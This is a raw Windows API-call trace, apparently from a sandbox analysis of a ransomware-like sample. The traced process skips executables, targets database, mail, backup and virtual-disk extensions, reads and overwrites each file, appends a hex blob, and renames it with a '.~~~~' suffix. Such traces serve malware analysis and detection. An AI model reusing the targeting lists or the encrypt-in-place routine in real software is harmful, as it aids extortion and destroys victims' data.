	[0078.917] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.917] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.917] CloseHandle (hObject=0x118) returned 1
	[0078.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5b18
	[0078.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.~~~~")) returned 1
	[0078.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5b18 | out: hHeap=0x300000) returned 1
	[0078.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0078.919] GetLastError () returned 0x0
	[0078.919] RtlWakeConditionVariable () returned 0x365f70
	[0078.919] GetCurrentThreadId () returned 0xaf0
	[0078.919] GetCurrentThreadId () returned 0xaf0
	[0078.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4700
	[0078.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6a00 | out: hHeap=0x300000) returned 1
	[0078.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b288 | out: hHeap=0x300000) returned 1
	[0078.919] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6a00
	[0078.919] lstrlenW (lpString=".scr") returned 4
	[0078.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".scr") returned 0x0
	[0078.919] lstrlenW (lpString=".cmd") returned 4
	[0078.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".cmd") returned 0x0
	[0078.919] lstrlenW (lpString=".dll") returned 4
	[0078.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dll") returned 0x0
	[0078.919] lstrlenW (lpString=".bat") returned 4
	[0078.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".bat") returned 0x0
	[0078.919] lstrlenW (lpString=".cpl") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".cpl") returned 0x0
	[0078.920] lstrlenW (lpString=".sys") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".sys") returned 0x0
	[0078.920] lstrlenW (lpString=".msc") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".msc") returned 0x0
	[0078.920] lstrlenW (lpString=".com") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".com") returned 0x0
	[0078.920] lstrlenW (lpString=".lnk") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".lnk") returned 0x0
	[0078.920] lstrlenW (lpString=".msp") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".msp") returned 0x0
	[0078.920] lstrlenW (lpString=".pif") returned 4
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".pif") returned 0x0
	[0078.920] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.920] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0078.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0078.921] lstrlenW (lpString=".sqb") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".sqb") returned 0x0
	[0078.921] lstrlenW (lpString=".ost") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".ost") returned 0x0
	[0078.921] lstrlenW (lpString=".txt") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".txt") returned 0x0
	[0078.921] lstrlenW (lpString=".mdt") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".mdt") returned 0x0
	[0078.921] lstrlenW (lpString=".BDB") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".BDB") returned 0x0
	[0078.921] lstrlenW (lpString=".eql") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".eql") returned 0x0
	[0078.921] lstrlenW (lpString=".DBF") returned 4
	[0078.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DBF") returned 0x0
	[0078.922] lstrlenW (lpString=".EQL") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".EQL") returned 0x0
	[0078.922] lstrlenW (lpString=".FDB") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".FDB") returned 0x0
	[0078.922] lstrlenW (lpString=".EDB") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".EDB") returned 0x0
	[0078.922] lstrlenW (lpString=".DACPAC") returned 7
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DACPAC") returned 0x0
	[0078.922] lstrlenW (lpString=".VHD") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".VHD") returned 0x0
	[0078.922] lstrlenW (lpString=".DBV") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DBV") returned 0x0
	[0078.922] lstrlenW (lpString=".dacpac") returned 7
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dacpac") returned 0x0
	[0078.922] lstrlenW (lpString=".sdf") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".sdf") returned 0x0
	[0078.922] lstrlenW (lpString=".accdb") returned 6
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".accdb") returned 0x0
	[0078.922] lstrlenW (lpString=".DBX") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DBX") returned 0x0
	[0078.922] lstrlenW (lpString=".MDT") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".MDT") returned 0x0
	[0078.922] lstrlenW (lpString=".SQB") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".SQB") returned 0x0
	[0078.922] lstrlenW (lpString=".vhd") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".vhd") returned 0x0
	[0078.922] lstrlenW (lpString=".bac") returned 4
	[0078.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".bac") returned 0x0
	[0078.923] lstrlenW (lpString=".mdf") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".mdf") returned 0x0
	[0078.923] lstrlenW (lpString=".BAK") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".BAK") returned 0x0
	[0078.923] lstrlenW (lpString=".BAC") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".BAC") returned 0x0
	[0078.923] lstrlenW (lpString=".dbs") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dbs") returned 0x0
	[0078.923] lstrlenW (lpString=".vhdx") returned 5
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".vhdx") returned 0x0
	[0078.923] lstrlenW (lpString=".NDF") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".NDF") returned 0x0
	[0078.923] lstrlenW (lpString=".dat") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dat") returned 0x0
	[0078.923] lstrlenW (lpString=".DBS") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DBS") returned 0x0
	[0078.923] lstrlenW (lpString=".CKP") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".CKP") returned 0x0
	[0078.923] lstrlenW (lpString=".edb") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".edb") returned 0x0
	[0078.923] lstrlenW (lpString=".PST") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".PST") returned 0x0
	[0078.923] lstrlenW (lpString=".dbf") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dbf") returned 0x0
	[0078.923] lstrlenW (lpString=".SQL") returned 4
	[0078.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".SQL") returned 0x0
	[0078.923] lstrlenW (lpString=".pst") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".pst") returned 0x0
	[0078.924] lstrlenW (lpString=".dbv") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dbv") returned 0x0
	[0078.924] lstrlenW (lpString=".SDF") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".SDF") returned 0x0
	[0078.924] lstrlenW (lpString=".dtxs") returned 5
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dtxs") returned 0x0
	[0078.924] lstrlenW (lpString=".db3") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".db3") returned 0x0
	[0078.924] lstrlenW (lpString=".OST") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".OST") returned 0x0
	[0078.924] lstrlenW (lpString=".dbx") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dbx") returned 0x0
	[0078.924] lstrlenW (lpString=".DB3") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DB3") returned 0x0
	[0078.924] lstrlenW (lpString=".DAT") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DAT") returned 0x0
	[0078.924] lstrlenW (lpString=".VHDX") returned 5
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".VHDX") returned 0x0
	[0078.924] lstrlenW (lpString=".ndf") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".ndf") returned 0x0
	[0078.924] lstrlenW (lpString=".DB") returned 3
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DB") returned 0x0
	[0078.924] lstrlenW (lpString=".sql") returned 4
	[0078.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".sql") returned 0x0
	[0078.924] lstrlenW (lpString=".MYD") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".MYD") returned 0x0
	[0078.925] lstrlenW (lpString=".DBT") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DBT") returned 0x0
	[0078.925] lstrlenW (lpString=".ACCDB") returned 6
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".ACCDB") returned 0x0
	[0078.925] lstrlenW (lpString=".fdb") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".fdb") returned 0x0
	[0078.925] lstrlenW (lpString=".bak") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".bak") returned 0x0
	[0078.925] lstrlenW (lpString=".myd") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".myd") returned 0x0
	[0078.925] lstrlenW (lpString=".DTXS") returned 5
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".DTXS") returned 0x0
	[0078.925] lstrlenW (lpString=".ckp") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".ckp") returned 0x0
	[0078.925] lstrlenW (lpString=".dbt") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".dbt") returned 0x0
	[0078.925] lstrlenW (lpString=".db") returned 3
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".db") returned 0x0
	[0078.925] lstrlenW (lpString=".TXT") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".TXT") returned 0x0
	[0078.925] lstrlenW (lpString=".MDF") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".MDF") returned 0x0
	[0078.925] lstrlenW (lpString=".bdb") returned 4
	[0078.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".bdb") returned 0x0
	[0078.925] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0078.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0078.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0078.926] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0078.926] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0078.927] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0078.927] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0078.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0078.927] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19891701658) returned 1
	[0078.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x98e92bd0, dwHighDateTime=0x1d60e1e)) 
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b288
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0078.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b288 | out: hHeap=0x300000) returned 1
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0078.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b68b0
	[0078.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0078.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0870
	[0078.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b68b0 | out: hHeap=0x300000) returned 1
	[0078.928] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0078.928] GetLastError () returned 0x0
	[0078.928] GetLastError () returned 0x0
	[0078.928] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0078.928] GetLastError () returned 0x0
	[0078.928] GetLastError () returned 0x0
	[0078.928] ReadFile (in: hFile=0x118, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.017] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.017] WriteFile (in: hFile=0x118, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.019] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0079.019] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.019] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.021] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.021] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.022] CloseHandle (hObject=0x118) returned 1
	[0079.022] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0079.022] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.~~~~")) returned 1
	[0079.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0079.176] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.176] GetLastError () returned 0x0
	[0079.177] RtlWakeConditionVariable () returned 0x365f70
	[0079.177] GetCurrentThreadId () returned 0xaf0
	[0079.177] GetCurrentThreadId () returned 0xaf0
	[0079.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b23c0 | out: hHeap=0x300000) returned 1
	[0079.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4f0 | out: hHeap=0x300000) returned 1
	[0079.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b23c0
	[0079.177] lstrlenW (lpString=".scr") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".scr") returned 0x0
	[0079.177] lstrlenW (lpString=".cmd") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".cmd") returned 0x0
	[0079.177] lstrlenW (lpString=".dll") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".dll") returned 0x0
	[0079.177] lstrlenW (lpString=".bat") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".bat") returned 0x0
	[0079.177] lstrlenW (lpString=".cpl") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".cpl") returned 0x0
	[0079.177] lstrlenW (lpString=".sys") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".sys") returned 0x0
	[0079.177] lstrlenW (lpString=".msc") returned 4
	[0079.177] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEES.DLL", lpSrch=".msc") returned 0x0
